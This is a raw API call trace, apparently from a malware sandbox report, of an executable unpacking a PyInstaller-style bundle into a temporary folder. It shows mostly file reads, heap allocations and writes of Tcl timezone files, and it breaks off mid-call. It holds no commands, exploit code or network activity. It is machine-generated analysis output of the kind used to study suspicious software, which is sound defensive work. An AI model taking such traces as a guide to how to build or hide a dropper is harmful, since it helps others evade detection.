MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.389] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.389] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.389] GetFileType (hFile=0x10c) returned 0x1 [0038.389] htonl (hostlong=0xc3795800) returned 0x5879c3 [0038.389] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d29c3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.389] htonl (hostlong=0x8e000000) returned 0x8e [0038.389] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0038.389] htonl (hostlong=0x8e000000) returned 0x8e [0038.389] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.389] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.389] htonl (hostlong=0x96000000) returned 0x96 [0038.389] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x550600 [0038.389] htonl (hostlong=0x8e000000) returned 0x8e [0038.389] htonl (hostlong=0x96000000) returned 0x96 [0038.389] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.390] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.390] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.390] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.390] CloseHandle (hObject=0x10c) returned 1 [0038.390] GetLastError () returned 0x0 [0038.390] SetLastError (dwErrCode=0x0) [0038.390] GetLastError () returned 0x0 [0038.390] SetLastError (dwErrCode=0x0) [0038.390] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.391] GetFileType (hFile=0x10c) returned 0x1 [0038.391] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.391] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.391] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.391] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.391] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.391] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.391] CloseHandle (hObject=0x10c) returned 1 [0038.391] GetLastError () returned 0x0 [0038.391] SetLastError (dwErrCode=0x0) [0038.391] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.391] GetFileType (hFile=0x10c) returned 0x1 [0038.391] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.391] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.391] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.391] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.391] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.392] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.392] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.392] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.392] CloseHandle (hObject=0x10c) returned 1 [0038.392] GetLastError () returned 0x0 [0038.392] SetLastError (dwErrCode=0x0) [0038.392] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.392] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.392] GetFileType (hFile=0x10c) returned 0x1 [0038.392] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.392] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.392] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.392] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.392] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.392] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.392] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.392] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.393] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.393] CloseHandle (hObject=0x10c) returned 1 [0038.393] GetLastError () returned 0x0 [0038.393] SetLastError (dwErrCode=0x0) [0038.393] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anguilla") returned 73 [0038.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anguilla" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\anguilla"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.393] GetLastError () returned 0x2 [0038.393] SetLastError (dwErrCode=0x2) [0038.393] GetLastError () returned 0x2 [0038.393] SetLastError (dwErrCode=0x2) [0038.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anguilla", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anguilla", lpFilePart=0x0) returned 0x48 [0038.393] GetLastError () returned 0x2 [0038.393] SetLastError (dwErrCode=0x2) [0038.393] GetLastError () returned 0x2 [0038.393] SetLastError (dwErrCode=0x2) [0038.393] GetLastError () returned 0x2 [0038.393] SetLastError (dwErrCode=0x2) [0038.393] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anguilla") returned 73 [0038.393] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Anguilla" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\anguilla"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.393] GetFileType (hFile=0x10c) returned 0x1 [0038.393] htonl (hostlong=0x96000000) returned 0x96 [0038.394] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.394] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x96, lpOverlapped=0x0) returned 1 [0038.394] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.395] CloseHandle (hObject=0x10c) returned 1 [0038.395] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.395] htonl (hostlong=0x30000000) returned 0x30 [0038.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.396] GetFileType (hFile=0x10c) returned 0x1 [0038.396] htonl (hostlong=0x517a5800) returned 0x587a51 [0038.396] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d2a51, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.396] htonl (hostlong=0x9a000000) returned 0x9a [0038.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9a) returned 0x55cfe0 [0038.396] htonl (hostlong=0x9a000000) returned 0x9a [0038.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.396] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.396] htonl (hostlong=0xb3000000) returned 0xb3 [0038.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x550600 [0038.396] htonl (hostlong=0x9a000000) returned 0x9a [0038.396] htonl (hostlong=0xb3000000) returned 0xb3 [0038.396] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.396] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.396] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.396] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.396] CloseHandle (hObject=0x10c) returned 1 [0038.396] GetLastError () returned 0x0 [0038.396] SetLastError (dwErrCode=0x0) [0038.396] GetLastError () returned 0x0 [0038.396] SetLastError (dwErrCode=0x0) [0038.396] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.396] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.396] GetFileType (hFile=0x10c) returned 0x1 [0038.396] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.397] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.397] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.397] CloseHandle (hObject=0x10c) returned 1 [0038.397] GetLastError () returned 0x0 [0038.397] SetLastError (dwErrCode=0x0) [0038.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.397] GetFileType (hFile=0x10c) returned 0x1 [0038.397] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.397] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.397] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.397] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.397] CloseHandle (hObject=0x10c) returned 1 [0038.398] GetLastError () returned 0x0 [0038.398] SetLastError (dwErrCode=0x0) [0038.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.398] GetFileType (hFile=0x10c) returned 0x1 [0038.398] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.398] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.398] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.398] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.398] CloseHandle (hObject=0x10c) returned 1 [0038.398] GetLastError () returned 0x0 [0038.398] SetLastError (dwErrCode=0x0) [0038.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Antigua") returned 72 [0038.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Antigua" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\antigua"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.398] GetLastError () returned 0x2 [0038.398] SetLastError (dwErrCode=0x2) [0038.398] GetLastError () returned 0x2 [0038.398] SetLastError (dwErrCode=0x2) [0038.398] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Antigua", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Antigua", lpFilePart=0x0) returned 0x47 [0038.399] GetLastError () returned 0x2 [0038.399] SetLastError (dwErrCode=0x2) [0038.399] GetLastError () returned 0x2 [0038.399] SetLastError (dwErrCode=0x2) [0038.399] GetLastError () returned 0x2 [0038.399] SetLastError (dwErrCode=0x2) [0038.399] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Antigua") returned 72 [0038.399] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Antigua" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\antigua"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.400] GetFileType (hFile=0x10c) returned 0x1 [0038.400] htonl (hostlong=0xb3000000) returned 0xb3 [0038.400] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.400] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0038.401] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.401] CloseHandle (hObject=0x10c) returned 1 [0038.401] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.401] htonl (hostlong=0x30000000) returned 0x30 [0038.401] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.401] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.402] GetFileType (hFile=0x10c) returned 0x1 [0038.402] htonl (hostlong=0xeb7a5800) returned 0x587aeb [0038.402] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d2aeb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.402] htonl (hostlong=0x5a050000) returned 0x55a [0038.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x55a) returned 0x550600 [0038.402] htonl (hostlong=0x5a050000) returned 0x55a [0038.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.402] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, 